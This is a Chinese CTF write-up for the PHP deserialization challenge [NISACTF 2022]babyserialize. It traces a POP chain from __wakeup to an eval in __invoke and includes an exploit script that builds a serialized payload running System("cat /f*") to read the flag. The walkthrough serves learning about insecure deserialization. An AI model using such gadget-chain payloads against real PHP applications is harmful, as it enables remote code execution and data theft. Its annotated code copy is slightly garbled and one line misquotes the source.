pop链构造 [NISACTF 2022]babyserialize

news2025/1/25 4:33:15

打开题目

题目源代码如下

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

代码审计一下

include "waf.php";
class NISA{                //定义了一个名为 NISA 的类
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){  //检查 $this->fun 是否等于 "show_me_flag",如果是,则调用 hint() 函数
            hint();
        }
    }

    function __call($from,$val){   //当对象的方法不存在时,__call() 方法会被调用,它接受两个参数:$from 表示调用的方法名,$val 是一个数组,包含调用方法时传递的参数
        $this->fun=$val[0];        //将对象的属性 $this->fun 设置为传递给方法的第一个参数的值,即 $val[0]
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";                //使用 echo 语句输出对象的属性 $this->fun 的值,然后返回一个空格字符串。
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);   //调用了一个名为 checkcheck() 的函数,然后执行了 $this->txw4ever 的代码
        @eval($this->txw4ever);
    }

class TianXiWei{
    public $ext;
    public $x; //
定义了一个名为 TianXiWei 的类,其中包含两个属性 $ext$x
    public function __wakeup()//
这是一个 PHP 魔术方法,当对象被反序列化时会自动调用。
    {
        $this->ext->nisa($this->x);  //
调用 $ext 对象的 nisa() 方法,并将当前对象的属性 $x 作为参数传递给 nisa() 方法。
    }
}

class Ilovetxw{
    public $huang;
    public $su;  //
定义了一个名为 Ilovetxw 的类,其中包含两个属性 $huang$su

    public function __call($fun1,$arg){   //
PHP 魔术方法,当调用不存在的方法时会自动触发。它接受两个参数:调用的方法名 $fun1 和传递给该方法的参数 $arg
        $this->huang->fun=$arg[0]; //
将传递给方法的第一个参数($arg[0])赋值给 $this->huang->fun
    }

    public function __toString(){   //
PHP 魔术方法,用于将对象转换为字符串时自动调用
        $bb = $this->su;
        return $bb(); //
将 $this->su 赋值给变量 $bb,它尝试执行 $bb(),即调用 $bb 所指向的函数或方法
    }
}

class four{
    public $a="TXW4EVER"; //
定义了一个公共属性 $a,并赋值为字符串 "TXW4EVER"
    private $fun='abc'; //定义了一个私有属性 $fun,并赋值为字符串 'abc'

    public function __set($name, $value) //魔术方法,用于在尝试设置不可访问属性时自动调用。
    {
        $this->$name=$value;  //
将属性 $name 的值设置为 $value,即动态创建了一个属性
        if ($this->fun = "sixsixsix"){  //这个条件语句中使用了赋值操作 =,它会将属性 $this->fun 的值设置为字符串 "sixsixsix",并且 if 条件会始终为真,因为赋值操作的结果是被赋的值本身
            strtolower($this->a);  //在条件语句中执行了 strtolower($this->a),但没有将结果赋给任何变量或属性
        }
    }

if(isset($_GET['ser'])){   //检查是否存在名为 ser 的 GET 参数
    @unserialize($_GET['ser']);  //$_GET['ser'] 的值进行反序列化操作 @unserialize($_GET['ser']),使用了 @ 符号来抑制可能的错误信息输出
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){  //checkcheck函数接收一个参数$data
//  if(preg_match(......)){ //
有一个 preg_match 函数,但是正则表达式部分被省略了
//      die(something wrong);   //如果 preg_match 函数匹配成功,即 $data 符合某个模式,那么会执行 die(something wrong); 来终止脚本执行,并输出 "something wrong"
//  }
//}

//function hint(){  //hint函数这里没有设置参数
//    echo ".......";    //
输出了一些占位符信息
//    die();   //调用了 die() 终止脚本的执行
//}
?>

解题思路

这里我是一点思路都没有,可能也是平时接触到的这类型题很少,全靠大佬的wp

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,肯定是代码执行,而eval又在__invoke魔术方法中

 先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数

反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

(3)__toString反推到__set

(4)从__set反推到__call

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

大佬的exp

<?php
 
class NISA{
    public $fun="show_me_flag";
    public $txw4ever; // 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
 
    function __call($from,$val){
        $this->fun=$val[0];
    }
 
    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
 
class TianXiWei{
    public $ext; //5 Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}
 
class Ilovetxw{
    public $huang; //4 four
    public $su; //2 NISA
 
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
 
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
 
class four{
    public $a="TXW4EVER"; //3 Ilovetxw
    private $fun='sixsixsix'; //fun = "sixsixsix
 
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
 
 
$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

生成payload

得到flag

知识点:

_wakeup()魔术方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法

_call()魔术方法

当对象的方法不存在时,__call() 方法会被调用

也就是无法访问此方法(未定义),此方法被__call()重载,并显示方法名和参数;

_toString()魔术方法

使用 echo 语句输出一个对象时,会自动检查一个对象有没有定义 _toString() 方法,如果定义了,就会输出 __toString() 方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串

也就是说,如果要将一个对象转换为字符串,必须定义 __toString() 魔术方法

_invoke()魔术方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

具体使用方法见:PHP 魔术方法 - __invoke() - PHP 魔术方法 - 简单教程,简单编程

_set()魔术方法

用于设置私有属性值,有两个参数,第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值

具体使用方法见:php 中__set()和__get()的具体用法_php __set-CSDN博客

strtolower()函数

strtolower函数把字符串全部转换为小写。

isset()函数

确定变量值是否存在

参考文章:

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

关于[NISACTF 2022]babyserialize详解_web_babyserialize-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1474365.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【GB28181】wvp-GB28181-pro部署安装教程(Ubuntu平台)

目录 前言1 安装依赖2 安装MySQL3 安装redis4 编译ZLMediaKit代码及依赖下载编译运行&#xff08;如果要运行wvp整个项目&#xff0c;这步可以先不执行&#xff09; 5 编译wvp-pro下载源码&#xff08;建议从github上下载&#xff0c;gitee上维护有时候不是很同步&#xff09;编…

QT C++实现点击按键弹出窗口并显示图片/视频|多窗口应用程序的设计和开发

一、介绍 首先&#xff0c;QT界面开发中主要大体分为2种多窗口的形式&#xff1a; 嵌入式&#xff1a; 新生成的窗口嵌入在主窗口内部独立窗口&#xff1a; 以弹窗形式的新窗口生成和展示 这里就讲解最简单的&#xff1a;点击案件后&#xff0c;跳出一个新窗口 二、代码实…

IntelliJ IDEA 2023:创新不止步,开发更自由 mac/win版

IntelliJ IDEA 2023激活版是一款强大而智能的集成开发环境(IDE)&#xff0c;为开发者提供了一系列先进的功能和工具&#xff0c;帮助他们更高效地编写、调试和测试代码。 IntelliJ IDEA 2023 软件获取 IntelliJ IDEA 2023继承了其前代版本的优秀基因&#xff0c;并在此基础上进…

raft选举算法和zookeeper选举算法的优略

RAFT&#xff08;Replicated State Machine&#xff09;选举算法和ZooKeeper选举算法都是分布式系统中常用的选举算法&#xff0c;用于确定系统中的主节点或领导者。它们有各自的优劣势&#xff0c;下面是对它们进行的简要比较&#xff1a; RAFT选举算法&#xff1a; 优势&a…

【Hudi】调优指南

1 并行度 2 Off-heap (堆外)内存 3 Spark内存 4 调整文件大小 5 时间序列/日志数据 6 GC调优 7 OutOfMemory

机器学习:朴素贝叶斯算法(Python)

一、朴素贝叶斯算法的实现 naive_bayes_classifier.py import numpy as np import collections as cc # 集合的计数功能 from scipy.stats import norm # 极大似然估计样本的均值和标准方差 from data_bin_wrapper import DataBinsWrapperclass NaiveBayesClassifier:"…

leetcode:134.加油站

解题思路&#xff1a;需要注意开始时的编号&#xff0c;有的可以走一圈&#xff0c;有的走不了 模拟过程&#xff1a;for循环主要是用来模拟线性的过程&#xff0c;而在这里它是环状的&#xff1b; 可以用暴力解法&#xff0c;但是在这里我用贪心来解决。 常见疑惑&#xff1…

一文详细拆解Agent工作原理

一、写在前面 Agent&#xff0c;中文译为“代理”或“智能体”&#xff0c;是一种能够在特定环境中自主行动、感知环境、做出决策并与其他Agent或人类进行交互的计算机程序或实体。它们具备自主性、反应性、社交性和适应性等特点&#xff0c;能够根据环境的变化调整自己的行为…

vue3项目中动态加载字体,并解决字体图标显示异常问题

先上效果图 setIconfont.ts文件代码 // 字体图标 url // 为什么引入俩个版本的font-awesome图标&#xff0c;因为最新版本的图标需要匹配字体库&#xff0c;单独引入样式文件部分图标会不显示 // 测试发现在引入4.7.0中的样式后所有的图标都可以显示&#xff0c;暂且认为4.7…

蓝桥杯备战刷题one(自用)

1.被污染的支票 #include <iostream> #include <vector> #include <map> #include <algorithm> using namespace std; int main() {int n;cin>>n;vector<int>L;map<int,int>mp;bool ok0;int num;for(int i1;i<n;i){cin>>nu…

Rust-windows安装环境

文章目录 前言一、Using rustup (Recommended)二、配置vscode解决办法&#xff1a;在终端依次运行如下两条指令&#xff1a; 总结 前言 Rust学习系列&#xff0c;之前介绍了macOS环境下的rust安装方式macOS rust安装。这篇学习windows的rust安装方式。 提示&#xff1a;以下是…

汇总版!美团搜索推荐算法面试题10道(含答案)

节前&#xff0c;我们组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂同学、参加社招和校招面试的同学&#xff0c;针对算法岗技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何准备、面试常考点分享等热门话题进行了深入的讨论。 今天我整…

跟着cherno手搓游戏引擎【25】封装2DRenderer,封装shader传参,自定义Texture

封装2DRenderer&#xff1a; Renderer.h: #include"ytpch.h" #include"Renderer.h" #include <Platform/OpenGL/OpenGLShader.h> #include"Renderer2D.h" namespace YOTO {Renderer::SceneData* Renderer::m_SceneData new Renderer::S…

JavaWeb——005 -- 请求响应 分层解耦(Postman、三层架构、IOC、DI、注解)

目录 一、请求 1、Postman&#xff08;接口测试工具&#xff09; 1.1、介绍 ②、安装 2、简单参数 1.1、原始方式 1.2、SpringBoot方法 ③、小结 3、实体参数 3.1、简单实体对象 3.2、复杂实体对象 3.3、小结 4、数组集合参数 ①、数组​编辑 ②、集合 ③、小结…

15-55V输入自动升降压 光伏MPPT自动跟踪充电方案 大功率300瓦

1.MPPT原理--简介 MPPT&#xff0c;全称为Maximum Power Point Tracking&#xff0c;即最大功点跟踪&#xff0c;它是一种通过调节电气模块的工作状态&#xff0c;使光伏板能够输出更多电能的电气系统能够将太阳能电池板发出的直流电有效地贮存在蓄电池中&#xff0c;可有效地…

python + selenium/appnium

Selenium 的自动化原理: selenium 自动化流程: 自动化程序调用Selenium 客户端库函数&#xff08;比如点击按钮元素&#xff09;客户端库会发送Selenium 命令 给浏览器的驱动程序浏览器驱动程序接收到命令后 ,驱动浏览器去执行命令浏览器执行命令浏览器驱动程序获取命令执行的…

Linux 不同架构、不同系统的问题

文章目录 一、麒麟V10&#xff08;kylin&#xff09;操作系统中&#xff0c;sudo执行程序后&#xff0c;其环境变量依然为用户家目录。&#xff08;1&#xff09;背景&#xff08;2&#xff09;原因&#xff08;3&#xff09;解决办法 二、统信&#xff08;UOS&#xff09;操作…

标准库中的String类 String(C++)【1】

学习String的时候我是对照https://legacy.cplusplus.com/这个网站进行理解 标准库中的String类 string类的基础String的特点String常用的接口&#xff08;黑框标记的是常用接口&#xff09;构造函数string类对象的访问及遍历操作第一种 下标[ ]第二种 迭代器第三种 范围for st…

OpenAI的Sora深度解析

计算机视觉算法分享。问题或建议&#xff0c;请文章私信或者文章末尾扫码加微信留言。sora 具体介绍和使用方法&#xff1a;OpenAI Sora 下一代生产力&#xff1a;最新小白必看教程 | 解剖Sora的前世今生 | Sora核心源码目前 openai 官方还未开放 sora 灰度&#xff0c;不过根据…

客户端订阅服务端事件的机制

一、场景描述 产业大脑平台是一个典型的审核系统&#xff0c;用户发布到平台的信息需要经过审核员审核后生效。 用户发布信息->审核员审核信息->用户信息生效&#xff0c;这一流程可能发生在用户的同一次登录周期内。为了使客户端能实时响应信息的状态变化&#xff0c;…